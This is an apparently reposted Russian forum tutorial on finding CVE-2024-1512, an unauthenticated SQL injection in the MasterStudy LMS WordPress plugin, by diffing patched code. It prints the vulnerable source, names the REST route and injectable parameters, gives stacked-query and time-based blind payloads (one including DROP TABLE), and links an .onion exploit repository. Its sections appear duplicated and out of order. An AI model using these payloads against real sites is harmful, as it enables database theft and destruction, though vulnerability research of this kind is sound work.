D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Я отсутствовал около месяца, в течение которого работал исследователем для двух клиентов. Понимая, что это краткосрочное сотрудничество, я решил работать на полную и считаю, что это было оправданно. Моя работа в основном заключалась в разработке эксплойтов для одного клиента и исследовании приватных нулевых дней для другого. Для веб-пентестера переход в роль исследователя является вершиной карьеры. Лучше быть младшим исследователем, чем старшим пентестером (имхо). Эта статья посвящена основам разработки эксплойтов для уязвимостей, не имеющих публичных эксплойтов, с опорой исключительно на анализ различий в патчах (спасибо клиенту за обучение).
Изображение [1]
Изображение [2]После установки плагина следующим шагом является его активация.
Уязвимый код
(https://plugins.trac.wordpress.org/...asses/models/StmStatistics.php?rev=2795646#L1):
Код: Скопировать в буфер обмена
Исправленный код (https://plugins.trac.wordpress.org/...asses/models/StmStatistics.php?rev=3036794#L1):
Код: Скопировать в буфер обмена
Между двумя версиями существует множество различий, но наш фокус направлен исключительно на уязвимость SQL-инъекции. С моих первых дней изучения CVE, связанных с SQL-инъекциями, повторяющейся темой была "прямая передача ввода" / "directly passing input", что подразумевает отсутствие санитизации. Хотя я не программист и не обладаю формальным образованием в области языков программирования, вот что я вижу, когда смотрю на этот код:
Код: Скопировать в буфер обмена
Я хочу проверить только функции, содержащие SQL-запросы. Я мог бы сразу перейти к функциям, принимающим пользовательский ввод, но было бы лучше понять, что делает каждая функция.
set_order_items_total_price
Код: Скопировать в буфер обмена
Эта функция извлекает заказы и связанные с ними элементы из базы данных, рассчитывает общую цену каждого заказа, суммируя цены отдельных элементов, и обновляет элементы заказа в базе данных. После обработки всех элементов в заказе она обновляет общую цену заказа в базе данных WordPress.
woocommerce_order_items
Код: Скопировать в буфер обмена
Эта функция извлекает заказы и связанные с ними элементы из базы данных. Для каждого заказа она перебирает элементы, извлекает цену каждого элемента из его метаданных и обновляет элементы заказа в базе данных.
create_table_order_items
Код: Скопировать в буфер обмена
Как следует из названия, эта функция создает таблицу stm_lms_order_items, выполняя SQL-запрос, показанный в коде. Она завершается использованием метода maybe_create_table (https://developer.wordpress.org/reference/functions/maybe_create_table/).
get_user_orders
Код: Скопировать в буфер обмена
Эта функция принимает параметры, такие как $offset, $limit и $params. Из других частей кода мы узнаем, что $offset и $limit предопределены:
Код: Скопировать в буфер обмена
Что такое смещение и лимит?
Смещение: количество строк, которые следует пропустить перед началом возврата строк в наборе результатов.
Лимит: максимальное количество строк для возврата в наборе результатов, ограничивающее запрос определенным количеством строк.
Пример в MySQL:
Изображение [3]
Изображение [4]Теперь, что насчет "$params"?
Массив - это базовая структура данных в программировании, которая хранит коллекцию элементов.
Код: Скопировать в буфер обмена
В нашем контексте массив $params позволяет настраивать запрос, включая различные критерии фильтрации, такие как id, created_date_from, created_date_to, total_price, status, user, post_author, orderby и order. Например, если мы хотим получить заказы пользователя для определенного идентификатора пользователя, мы установим параметр 'user' в массиве $params на нужный идентификатор пользователя. Параметры облегчают адаптацию запроса к конкретным потребностям.
Параметры, которые кажутся уязвимыми, включают id, total_price, status и user. Параметры $params['created_date_from'] и $params['created_date_to'] фильтруют заказы по диапазону дат создания, используя функции strtotime() и gmdate() для безопасного преобразования дат. Параметр orderby, хотя и не контролируется пользователем, санитизируется с использованием функции esc_sql(). Параметр post_author очищается с помощью (int). Например:
Код: Скопировать в буфер обмена
get_user_order_items
Код: Скопировать в буфер обмена
Эта функция принимает те же параметры, что и предыдущая. Параметры, которые кажутся уязвимыми: id, total_price, status, user, и course_id. Параметр author_id очищается с помощью (int).
get_course_statisticas
Код: Скопировать в буфер обмена
Эта функция принимает параметры, такие как $date_start, $date_end, $user_id и $course_id, для извлечения данных, связанных с курсом, путем объединения нескольких таблиц и применения условий. Я не вижу никакой санитизации. Думаю, что эта функция доступна только для пользователей PRO. Хотя маловероятно, что уязвимость находится здесь, это стоит учитывать.
get_course_sales_statisticas
Код: Скопировать в буфер обмена
Аналогично предыдущей функции, она принимает параметры $user_id и $course_id. Ситуация остается неизменной.
Теперь давайте составим диаграмму с функциями и возможно уязвимыми параметрами:
Конечные точки (endpoint) REST в WordPress - это специфические URL, которые REST API предоставляет для взаимодействия с различными типами контента WordPress. Каждая конечная точка соответствует определенному типу ресурса, такому как записи, страницы, пользователи или пользовательские типы контента, и определяет методы (GET, POST, PUT, DELETE), которые можно использовать для взаимодействия с этим ресурсом. Конечные точки REST API можно найти, обратившись к корню API, который обычно находится по пути /wp-json/. Оттуда API предоставляет самодокументируемое руководство по доступным конечным точкам и их использованию.
Вопросы, которые я задавал себе на этом этапе, были следующие:
Как найти rest route?
Какие аргументы мне нужно использовать после того, как я rest route?
Чтобы найти остальные роуты, я решил открыть -
Другой способ, помимо проверки директории wp-json, - это поиск PHP-файлов с функцией "register_rest_route". register_rest_route() - это функция в WordPress, используемая для создания пользовательских конечных точек REST API.
Код: Скопировать в буфер обмена
Изображение [5]Я открыл /var/www/html/wp-content/plugins/masterstudy-lms-learning-management-system/_core/lms/route.php
Код: Скопировать в буфер обмена
В файле много функций, мне нужно проверить только функции, которые находятся в файле StmStatistics.php, потому что изменения были сделаны только в этом файле.
Изображение [6]Ни одна из перечисленных мной функций на самом деле не находится в rest маршруте. Но есть функция get_user_orders_api, которая находится в StmStatistics.php.
Код: Скопировать в буфер обмена
То, что мы знаем на данный момент, это то, что наш rest маршрут - /lms/stm-lms/order/items, и теперь мы знаем доступные параметры. Таким образом, полный URL будет
Код: Скопировать в буфер обмена
Теперь мы можем проверить запросы, сделанные к базе данных.
Код: Скопировать в буфер обмена
Я знаю, что мне нужно использовать author_id, чтобы функция get_user_order_items была использована, которая имеет другие параметры, такие как user. Я решил отправить запрос со всеми параметрами
Лог MySQL:
Код: Скопировать в буфер обмена
Большинство запросов находятся внутри двойных кавычек, за исключением
Код: Скопировать в буфер обмена
Что такое Стек Запрос?
Стек запрос - это техника SQL-инъекции, при которой внедренный SQL-код включает несколько SQL-запросов, разделенных точками с запятой. Например, в приведенном ниже случае я внедрил полезную нагрузку ' OR 1=1; DROP TABLE users; --.
Код: Скопировать в буфер обмена
SELECT * FROM users WHERE username = '' OR 1=1; DROP TABLE users; --' AND password = 'pass';
Что если я использую стековый запрос в нашем случае?
Код: Скопировать в буфер обмена
Изображение [7]Я открыл URL:
Результат с SQL-сервера находится в первых двух полезных нагрузках, которые я выбрал, что показывает, что стековые запросы в данном случае не проходят, потому что все идет как один запрос. В то время в втором запросе (Я ВРУЧНУЮ скопировал QUERY 963 в MySQL), мы видим, что было сделано два запроса с SELECT sleep(5) - если бы это был наш случай, что не так, стековые запросы были бы возможны.
Что насчет SQLMap?
SQLMap нашел слепую SQL-инъекцию:
Полезная нагрузка: 555) AND (SELECT 1 FROM (SELECT SLEEP(5))AA
Код: Скопировать в буфер обмена
Эксплоит тут:
http://damaga377vyvydeqeuigxvl6g5sbmipoxb5nne6gpj3sisbnslbhvrqd.onion/git/cve/CVE/src/branch/main/CVE-2024-1512
Содержание
- Выбор цели
- Установка
- Уязвимость
- REST в WordPress
- Так где же ты?
- Разработка Эксплоита (Детектор)
Выбор цели
Обычно я начинаю с уже доступных CVE или выбираю цели на основе их широкого использования. Как видно из моих предыдущих статей, я стараюсь избегать тем, связанных с SQL-инъекцией. На этот раз, однако, я искал цель, где мог бы использовать логирование баз данных для обнаружения SQL-инъекций. Сегодняшний анализ сосредоточен на плагине "WordPress LMS Plugin MasterStudy", который был загружен более 900 000 раз (https://wordpress.org/plugins/masterstudy-lms-learning-management-system/).Установка
NIST часто предоставляет минимальные описания, но в этом случае описание удивительно детализировано. https://nvd.nist.gov/vuln/detail/CVE-2024-1512Для эксплуатации этой уязвимости необходимо загрузить версию 3.2.5 плагина, доступную по адресу https://downloads.wordpress.org/plugin/masterstudy-lms-learning-management-system.3.2.5.zip, и затем распаковать ее.The MasterStudy LMS WordPress Plugin – for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the 'user' parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Нажмите, чтобы раскрыть...
Изображение [1]
Изображение [2]
Уязвимость
Представим, что мы знаем только о наличии SQL-инъекции от NIST, без дополнительных деталей. Нам нужно было бы самостоятельно определить то где находится уязвимость, задача, которая одновременно увлекательна и выполнима. Исходной точкой является изучение внесенных в код изменений.Уязвимый код
(https://plugins.trac.wordpress.org/...asses/models/StmStatistics.php?rev=2795646#L1):
Код: Скопировать в буфер обмена
Код:
1 <?php
2
3 namespace stmLms\Classes\Models;
4
5 use STM_LMS_Options;
6 use stmLms\Classes\Models\StmOrder;
7 use stmLms\Classes\Models\StmOrderItems;
8 use stmLms\Classes\Models\Admin\StmStatisticsListTable;
9
10 class StmStatistics
11 {
12
13 static $instance;
14 public $object;
15
16 public static function set_screen($status, $option, $value)
17 {
18 return $value;
19 }
20
21 public static function init()
22 {
23
24 $model = new StmStatistics();
25 self::get_instance();
26 add_filter('set-screen-option', [__CLASS__, 'set_screen'], 10, 3);
27 if (is_admin()) {
28 add_action('init', [self::class, "init_statistics"]);
29 }
30 }
31
32 static function init_statistics() {
33
34 if(current_user_can('manage_options')) {
35 self::create_table_order_items();
36 self::woocommerce_order_items();
37 self::set_order_items_total_price();
38 }
39
40 }
41
42 public function admin_menu()
43 {
44 add_action('wpcfto_screen_stm_lms_settings_added', array($this, 'add_order_list'), 100, 1);
45 }
46
47 public function add_order_list()
48 {
49 $hook = add_submenu_page(
50 'stm-lms-settings',
51 __('Statistics', "masterstudy-lms-learning-management-system"),
52 __('Statistics', "masterstudy-lms-learning-management-system"),
53 'manage_options',
54 'stm_lms_statistics',
55 array($this, 'render_statistics')
56 );
57 add_action("load-$hook", [$this, 'stm_lms_statistics_screen_option']);
58 }
59
60 public function render_statistics()
61 {
62 stm_lms_render(STM_LMS_PATH . "/lms/views/statistics/statistics", [], true);
63 }
64
65 public function stm_lms_statistics_screen_option()
66 {
67 $option = 'per_page';
68 $args = [
69 'label' => 'Statistics',
70 'default' => 10,
71 'option' => 'stm_lms_statistics_per_page'
72 ];
73 add_screen_option($option, $args);
74 $this->object = new StmStatisticsListTable();
75 }
76
77 public static function set_order_items_total_price()
78 {
79 $is_run = get_option("stm_lms_set_order_total_price");
80 if (!$is_run) {
81 global $wpdb;
82 $prefix = $wpdb->prefix;
83 $orders = StmOrder::query()
84 ->select(" _order.*, mete.`meta_value` as items ")
85 ->asTable("_order")
86 ->join(" left join " . $prefix . "postmeta as mete on (mete.post_id = _order.ID) ")
87 ->where_in("_order.post_type", ["stm-orders"])
88 ->where("mete.`meta_key`", "items")
89 ->group_by("_order.ID")
90 ->find();
91 foreach ($orders as $order) {
92 $total_price = 0;
93 foreach ($order->items as $item) {
94 $total_price += $item['price'];
95
96 // update or create order items
97 if (!($order_items = StmOrderItems::query()->where("order_id", $order->ID)->where("object_id", $item['item_id'])->findOne()))
98 $order_items = new StmOrderItems();
99 $order_items->order_id = $order->ID;
100 $order_items->object_id = $item['item_id'];
101 $order_items->price = $item['price'];
102 $order_items->quantity = 1;
103 $order_items->transaction = 0;
104 $order_items->save();
105 }
106 update_post_meta($order->ID, "_order_total", $total_price);
107 }
108 add_option("stm_lms_set_order_total_price", "1");
109 }
110 }
111
112 public static function woocommerce_order_items()
113 {
114 $is_run = get_option("stm_lms_set_woocommerce_order_items");
115 if (!$is_run) {
116 global $wpdb;
117 $prefix = $wpdb->prefix;
118 $orders = StmOrder::query()
119 ->select(" _order.*, meta.meta_value as items")
120 ->asTable("_order")
121 ->join(" left join " . $prefix . "postmeta as meta on ( meta.`post_id` = _order.ID AND meta.`meta_key` = 'stm_lms_courses') ")
122 ->where("_order.`post_type`", "shop_order")
123 ->find();
124 foreach ($orders as $order) {
125 if (isset($order->items)) {
126 foreach ($order->items as $item) {
127 $price = get_post_meta($item['item_id'], "_price");
128
129 // update or create order items
130 if (!($order_items = StmOrderItems::query()->where("order_id", $order->ID)->where("object_id", $item['item_id'])->findOne()))
131 $order_items = new StmOrderItems();
132 $order_items->order_id = $order->ID;
133 $order_items->object_id = $item['item_id'];
134 $order_items->price = (isset($price[0])) ? $price[0] : 0;
135 $order_items->quantity = $item['quantity'];
136 $order_items->transaction = 0;
137 $order_items->save();
138 }
139 }
140 }
141 add_option("stm_lms_set_woocommerce_order_items", "1");
142 }
143 }
144
145 public static function create_table_order_items()
146 {
147 global $wpdb;
148 require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
149 $charset_collate = $wpdb->get_charset_collate();
150 $table_name = $wpdb->prefix . 'stm_lms_order_items';
151 $sql = "CREATE TABLE {$table_name} (
152 id bigint(20) NOT NULL AUTO_INCREMENT,
153 order_id bigint(20) unsigned NOT NULL,
154 object_id bigint(20) unsigned NOT NULL,
155 payout_id bigint(20) unsigned,
156 quantity int(11) NOT NULL,
157 price float(24,2),
158 `transaction` varchar(100),
159 PRIMARY KEY (id),
160 KEY `{$table_name}_order_id_index` (`order_id`),
161 KEY `{$table_name}_object_id_index` (`object_id`),
162 KEY `{$table_name}_payout_id_index` (`payout_id`)
163 ) {$charset_collate};";
164 maybe_create_table($table_name, $sql);
165 }
166
167 /**
168 * @return StmStatistics
169 */
170 public static function get_instance()
171 {
172 if (!isset(self::$instance)) {
173 self::$instance = new self();
174 }
175 return self::$instance;
176 }
177
178 /**
179 * @return mixed
180 */
181 public static function get_author_fee()
182 {
183 $author_fee = STM_LMS_Options::get_option('author_fee', false);
184 return ($author_fee) ? $author_fee : 10;
185 }
186
187 /**
188 * @param $offset
189 * @param $limit
190 * @param array $params
191 *
192 * @return array
193 */
194 public static function get_user_orders($offset, $limit, $params = [])
195 {
196 global $wpdb;
197 $prefix = $wpdb->prefix;
198 $user_orders = [
199 "items" => [],
200 "total" => 0,
201 ];
202 $query = StmOrder::query()
203 ->select(" _order.*, meta.* ")
204 ->asTable("_order")
205 ->join(" left join `" . $prefix . "stm_lms_order_items` as lms_order_items on ( lms_order_items.`order_id` = _order.ID )
206 left join `" . $prefix . "posts` as course on (course.ID = lms_order_items.`object_id`) ")
207 ->where_in("_order.post_type", ["stm-orders", "shop_order"]);
208
209 if (isset($params['id']) AND !empty($params['id'])) {
210 $query->where('_order.ID', $params['id']);
211 }
212
213 if (isset($params['created_date_from']) AND !empty(trim($params['created_date_from'])) AND isset($params['created_date_to']) AND !empty(trim($params['created_date_to']))) {
214 $query->where_raw('
215 DATE(_order.post_date) >= "' . date("Y-m-d", strtotime($params['created_date_from'])) . '" AND
216 DATE(_order.post_date) <= "' . date("Y-m-d", strtotime($params['created_date_to'])) . '"
217 ');
218 }
219
220 if (isset($params['total_price']) AND !empty($params['total_price'])) {
221 $query->where_raw(' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ');
222 }
223
224 if (isset($params['status']) AND !empty($params['status'])) {
225 $query->where_raw('
226 (
227 ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
228 ( _order.post_status = "' . $params['status'] . '" )
229 )
230 ');
231 }
232
233 if (isset($params['user']) AND !empty($params['user'])) {
234 $ids = [$params['user']];
235 if (!empty($ids)) {
236 $query->where_raw('
237 (
238 (meta.meta_key = "user_id" AND meta.meta_value in (' . implode(",", $ids) . ')) OR
239 (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode(",", $ids) . '))
240 )
241 ');
242 }
243 }
244
245 if (isset($params['post_author']) AND !empty($params['post_author'])) {
246 $query->where("course.`post_author`", (int)$params['post_author']);
247 }
248
249 if (!empty($params['orderby'])) {
250 $query->sort_by(esc_sql($params['orderby']))
251 ->order(!empty($params['order']) ? ' ' . esc_sql($params['order']) : ' ASC');
252 } else {
253 $query->sort_by("ID")->order(" DESC ");
254 }
255
256 $query_total = clone $query;
257
258 $user_orders['total'] = $query_total->select(" COUNT(DISTINCT _order.ID) as count ")->findOne()->count;
259 $query->join(" left join " . $prefix . "postmeta as meta on (meta.post_id = _order.ID)")
260 ->group_by("_order.ID")
261 ->limit($limit)
262 ->offset($offset);
263
264 $user_orders['items'] = $query->find();
265
266 return $user_orders;
267 }
268
269 /**
270 * @param $offset
271 * @param $limit
272 * @param array $params
273 *
274 * @return array
275 */
276 public static function get_user_order_items($offset, $limit, $params = [])
277 {
278 global $wpdb;
279 $prefix = $wpdb->prefix;
280 $user_orders = [
281 "items" => [],
282 "total" => 0,
283 "total_price" => 0,
284 ];
285 $query = StmOrderItems::query()
286 ->select(" lms_order_items.*, course.post_title as name, _order.`post_date` as date_created ")
287 ->asTable("lms_order_items")
288 ->join(" left join `" . $prefix . "posts` as _order on ( lms_order_items.`order_id` = _order.ID )
289 left join `" . $prefix . "posts` as course on (course.ID = lms_order_items.`object_id`) ")
290 ->where_in("_order.post_type", ["stm-orders", "shop_order"]);
291
292 if (isset($params['id']) AND !empty($params['id'])) {
293 $query->where('_order.ID', $params['id']);
294 }
295
296 if (isset($params['date_from']) AND !empty(trim($params['date_from'])) AND isset($params['date_to']) AND !empty(trim($params['date_to']))) {
297 $query->where_raw('
298 DATE(_order.post_date) >= "' . date("Y-m-d", strtotime($params['date_from'])) . '" AND
299 DATE(_order.post_date) <= "' . date("Y-m-d", strtotime($params['date_to'])) . '"
300 ');
301 }
302
303 if (isset($params['total_price']) AND !empty($params['total_price'])) {
304 $query->where_raw(' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ');
305 }
306
307 if (isset($params['status']) AND !empty($params['status'])) {
308 $query->where_raw('
309 (
310 ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
311 ( _order.post_status = "' . $params['status'] . '" )
312 )
313 ');
314 }
315
316 if (isset($params['user']) AND !empty($params['user'])) {
317 $ids = [$params['user']];
318 if (!empty($ids)) {
319 $query->where_raw('
320 (
321 (meta.meta_key = "user_id" AND meta.meta_value in (' . implode(",", $ids) . ')) OR
322 (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode(",", $ids) . '))
323 )
324 ');
325 }
326 }
327
328 if (isset($params['course_id']) AND !empty($params['course_id'])) {
329 $query->where("course.ID", $params['course_id']);
330 }
331
332 if (isset($params['author_id']) AND !empty($params['author_id']) AND $params['author_id'] != 0) {
333 $query->where("course.`post_author`", (int)$params['author_id']);
334 }
335
336 if (isset($params['completed']) AND !empty($params['completed'])) {
337 $query->join(" left join " . $prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
338 ->join(" left join " . $prefix . "posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed') ")
339 ->where_raw(" ( meta_status.post_id = _order.ID OR order_status.ID = _order.ID ) ");
340 }
341
342 if (!empty($params['orderby'])) {
343 $query->sort_by(esc_sql($params['orderby']))
344 ->order(!empty($params['order']) ? ' ' . esc_sql($params['order']) : ' ASC');
345 } else {
346 $query->sort_by("ID")->order(" DESC ");
347 }
348
349 $query_total = clone $query;
350 $user_orders['total'] = $query_total->select(" COUNT(DISTINCT lms_order_items.id) as count ")->findOne()->count;
351
352 $query_total_price = clone $query;
353 $query_total_price->select(" SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price ");
354 $total_price = $query_total_price->findOne()->total_price;
355 $user_orders['total_price'] = ($total_price) ? $total_price : 0;
356 $query->join(" left join " . $prefix . "postmeta as meta on (meta.post_id = _order.ID)")
357 ->group_by("lms_order_items.id")
358 ->limit($limit)
359 ->offset($offset);
360
361 $user_orders['items'] = $query->find();
362 return $user_orders;
363 }
364
365 public static function get_user_orders_api()
366 {
367 $offset = 0;
368 $limit = 10;
369
370 if (isset($_GET['offset']) AND !empty($_GET['offset']))
371 $offset = intval($_GET['offset']);
372
373 if (isset($_GET['limit']) AND !empty($_GET['limit']))
374 $limit = intval($_GET['limit']);
375
376 $params = $_GET;
377
378 $params['completed'] = true;
379
380 if ($params['author_id'])
381 return self::get_user_order_items($offset, $limit, $params);
382 }
383
384 /**
385 * @param $date_start
386 * @param $date_end
387 * @param $user_id
388 * @param null $course_id
389 *
390 * @return array
391 */
392 public static function get_course_statisticas($date_start, $date_end, $user_id, $course_id = null)
393 {
394 global $wpdb;
395 $data = [];
396 $courses = StmLmsCourse::query()
397 ->select(" course.ID, course.`post_title`, _order.`post_date` as date, SUM(order_items.`price` * order_items.`quantity`) as amount")
398 ->asTable("course")
399 ->join(" left join `" . $wpdb->prefix . "stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ")
400 ->join(" left join `" . $wpdb->prefix . "posts` _order on _order.ID = order_items.`order_id` ")
401 ->join(" left join " . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
402 ->where("course.post_author", $user_id)
403 ->where_raw(" ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) ")
404 ->where_raw(" (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) ")
405 ->where_raw(" (DATE(_order.`post_date`) BETWEEN '" . $date_start . "' AND '" . $date_end . "') ")
406 ->group_by(" course.ID, DATE_FORMAT(_order.post_date, '%m-%Y') ");
407
408 if ($course_id != null)
409 $courses->where("course.ID", $course_id)->findOne();
410
411 foreach ($courses->find() as $course) {
412 $data[] = [
413 "id" => $course->ID,
414 "title" => $course->post_title,
415 "amount" => $course->amount,
416 "date" => $course->date,
417 "backgroundColor" => rand_color(0.50)
418 ];
419 }
420 return $data;
421 }
422
423 /**
424 * @param $user_id
425 * @param null $course_id
426 */
427 public static function get_course_sales_statisticas($user_id, $course_id = null)
428 {
429 global $wpdb;
430 $data = [];
431 $courses = StmLmsCourse::query()
432 ->select(" course.ID, course.`post_title`, SUM(order_items.`quantity`) as order_item_count ")
433 ->asTable("course")
434 ->join(" left join `" . $wpdb->prefix . "stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ")
435 ->join(" left join `" . $wpdb->prefix . "posts` _order on _order.ID = order_items.`order_id` ")
436 ->join(" left join " . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
437 ->where("course.post_author", $user_id)
438 ->where_raw(" ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) ")
439 ->where_raw(" (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) ")
440 ->group_by(" course.ID ");
441
442 if ($course_id != null)
443 $courses->where("course.ID", $course_id)->findOne();
444
445
446
447
448 foreach ($courses->find() as $course) {
449 $data[] = [
450 "id" => $course->ID,
451 "title" => $course->post_title,
452 "backgroundColor" => rand_color(0.50),
453 "order_item_count" => $course->order_item_count
454 ];
455 }
456
457 return $data;
458 }
459
460 }
Исправленный код (https://plugins.trac.wordpress.org/...asses/models/StmStatistics.php?rev=3036794#L1):
Код: Скопировать в буфер обмена
Код:
1 <?php
2
3 namespace stmLms\Classes\Models;
4
5 use STM_LMS_Options;
6 use stmLms\Classes\Models\Admin\StmStatisticsListTable;
7
8 class StmStatistics {
9
10 public static $instance;
11 public $object;
12
13 /**
14 * @return StmStatistics
15 */
16 public static function get_instance() {
17 if ( ! isset( self::$instance ) ) {
18 self::$instance = new self();
19 }
20
21 return self::$instance;
22 }
23
24 public static function init() {
25 self::get_instance();
26
27 if ( is_admin() ) {
28 add_action( 'admin_init', array( self::class, 'init_statistics' ) );
29 }
30 }
31
32 public static function init_statistics() {
33 if ( current_user_can( 'manage_options' ) ) {
34 self::create_table_order_items();
35 self::woocommerce_order_items();
36 self::set_order_items_total_price();
37 }
38 }
39
40 public function admin_menu() {
41 add_action( 'wpcfto_screen_stm_lms_settings_added', array( $this, 'add_order_list' ), 100, 1 );
42 }
43
44 public function add_order_list() {
45 $hook = add_submenu_page(
46 'stm-lms-settings',
47 __( 'Statistics', 'masterstudy-lms-learning-management-system' ),
48 __( 'Statistics', 'masterstudy-lms-learning-management-system' ),
49 'manage_options',
50 'stm_lms_statistics',
51 array( $this, 'render_statistics' )
52 );
53
54 add_action( "load-$hook", array( $this, 'stm_lms_statistics_screen_option' ) );
55 }
56
57 public function render_statistics() {
58 stm_lms_render( STM_LMS_PATH . '/lms/views/statistics/statistics', array(), true );
59 }
60
61 public function stm_lms_statistics_screen_option() {
62 $option = 'per_page';
63 $args = array(
64 'label' => 'Statistics',
65 'default' => 10,
66 'option' => 'stm_lms_statistics_per_page',
67 );
68
69 add_screen_option( $option, $args );
70
71 $this->object = new StmStatisticsListTable();
72 }
73
74 public static function set_order_items_total_price() {
75 $is_run = get_option( 'stm_lms_set_order_total_price' );
76
77 if ( ! $is_run ) {
78 global $wpdb;
79
80 $orders = StmOrder::query()
81 ->select( ' _order.*, mete.`meta_value` as items ' )
82 ->asTable( '_order' )
83 ->join( ' left join ' . $wpdb->prefix . 'postmeta as mete on (mete.post_id = _order.ID) ' )
84 ->where_in( '_order.post_type', array( 'stm-orders' ) )
85 ->where( 'mete.`meta_key`', 'items' )
86 ->group_by( '_order.ID' )
87 ->find();
88
89 foreach ( $orders as $order ) {
90 $total_price = 0;
91 foreach ( $order->items as $item ) {
92 $total_price += $item['price'];
93
94 // update or create order items
95 $order_items = StmOrderItems::query()->where( 'order_id', $order->ID )->where( 'object_id', $item['item_id'] )->findOne();
96 if ( ! $order_items ) {
97 $order_items = new StmOrderItems();
98 }
99 $order_items->order_id = $order->ID;
100 $order_items->object_id = $item['item_id'];
101 $order_items->price = $item['price'];
102 $order_items->quantity = 1;
103 $order_items->transaction = 0;
104 $order_items->save();
105 }
106
107 update_post_meta( $order->ID, '_order_total', $total_price );
108 }
109
110 update_option( 'stm_lms_set_order_total_price', '1' );
111 }
112 }
113
114 public static function woocommerce_order_items() {
115 $is_run = get_option( 'stm_lms_set_woocommerce_order_items' );
116 if ( ! $is_run ) {
117 global $wpdb;
118
119 $prefix = $wpdb->prefix;
120 $orders = StmOrder::query()
121 ->select( ' _order.*, meta.meta_value as items' )
122 ->asTable( '_order' )
123 ->join( ' left join ' . $prefix . "postmeta as meta on ( meta.`post_id` = _order.ID AND meta.`meta_key` = 'stm_lms_courses') " )
124 ->where( '_order.`post_type`', 'shop_order' )
125 ->find();
126 foreach ( $orders as $order ) {
127 if ( isset( $order->items ) ) {
128 foreach ( $order->items as $item ) {
129 $price = get_post_meta( $item['item_id'], '_price' );
130
131 // update or create order
132 $order_items = StmOrderItems::query()->where( 'order_id', $order->ID )->where( 'object_id', $item['item_id'] )->findOne();
133 if ( ! $order_items ) {
134 $order_items = new StmOrderItems();
135 }
136 $order_items->order_id = $order->ID;
137 $order_items->object_id = $item['item_id'];
138 $order_items->price = ( isset( $price[0] ) ) ? $price[0] : 0;
139 $order_items->quantity = $item['quantity'];
140 $order_items->transaction = 0;
141 $order_items->save();
142 }
143 }
144 }
145
146 update_option( 'stm_lms_set_woocommerce_order_items', '1' );
147 }
148 }
149
150 public static function create_table_order_items() {
151 global $wpdb;
152
153 require_once ABSPATH . 'wp-admin/includes/upgrade.php';
154
155 $charset_collate = $wpdb->get_charset_collate();
156 $table_name = $wpdb->prefix . 'stm_lms_order_items';
157 $sql = "CREATE TABLE {$table_name} (
158 id bigint(20) NOT NULL AUTO_INCREMENT,
159 order_id bigint(20) unsigned NOT NULL,
160 object_id bigint(20) unsigned NOT NULL,
161 payout_id bigint(20) unsigned,
162 quantity int(11) NOT NULL,
163 price float(24,2),
164 `transaction` varchar(100),
165 PRIMARY KEY (id),
166 KEY `{$table_name}_order_id_index` (`order_id`),
167 KEY `{$table_name}_object_id_index` (`object_id`),
168 KEY `{$table_name}_payout_id_index` (`payout_id`)
169 ) {$charset_collate};";
170
171 maybe_create_table( $table_name, $sql );
172 }
173
174 /**
175 * @return mixed
176 */
177 public static function get_author_fee() {
178 $author_fee = STM_LMS_Options::get_option( 'author_fee', false );
179
180 return $author_fee ? $author_fee : 10;
181 }
182
183 /**
184 * @param $offset
185 * @param $limit
186 * @param array $params
187 *
188 * @return array
189 */
190 public static function get_user_orders( $offset, $limit, $params = array() ) {
191 global $wpdb;
192
193 $prefix = $wpdb->prefix;
194 $user_orders = array();
195 $query = StmOrder::query()
196 ->select( ' _order.*, meta.* ' )
197 ->asTable( '_order' )
198 ->join( ' left join `' . $prefix . 'stm_lms_order_items` as lms_order_items on ( lms_order_items.`order_id` = _order.ID ) left join `' . $prefix . 'posts` as course on (course.ID = lms_order_items.`object_id`) ' )
199 ->where_in( '_order.post_type', array( 'stm-orders', 'shop_order' ) );
200
201 if ( ! empty( $params['id'] ) ) {
202 $query->where( '_order.ID', $params['id'] );
203 }
204
205 if ( ! empty( trim( $params['created_date_from'] ?? '' ) ) && ! empty( trim( $params['created_date_to'] ?? '' ) ) ) {
206 $query->where_raw( ' DATE(_order.post_date) >= "' . gmdate( 'Y-m-d', strtotime( $params['created_date_from'] ) ) . '" AND DATE(_order.post_date) <= "' . gmdate( 'Y-m-d', strtotime( $params['created_date_to'] ) ) . '" ' );
207 }
208
209 if ( ! empty( $params['total_price'] ) ) {
210 $query->where_raw( ' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ' );
211 }
212
213 if ( ! empty( $params['status'] ) ) {
214 $query->where_raw(
215 ' (
216 ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
217 ( _order.post_status = "' . $params['status'] . '" )
218 ) '
219 );
220 }
221
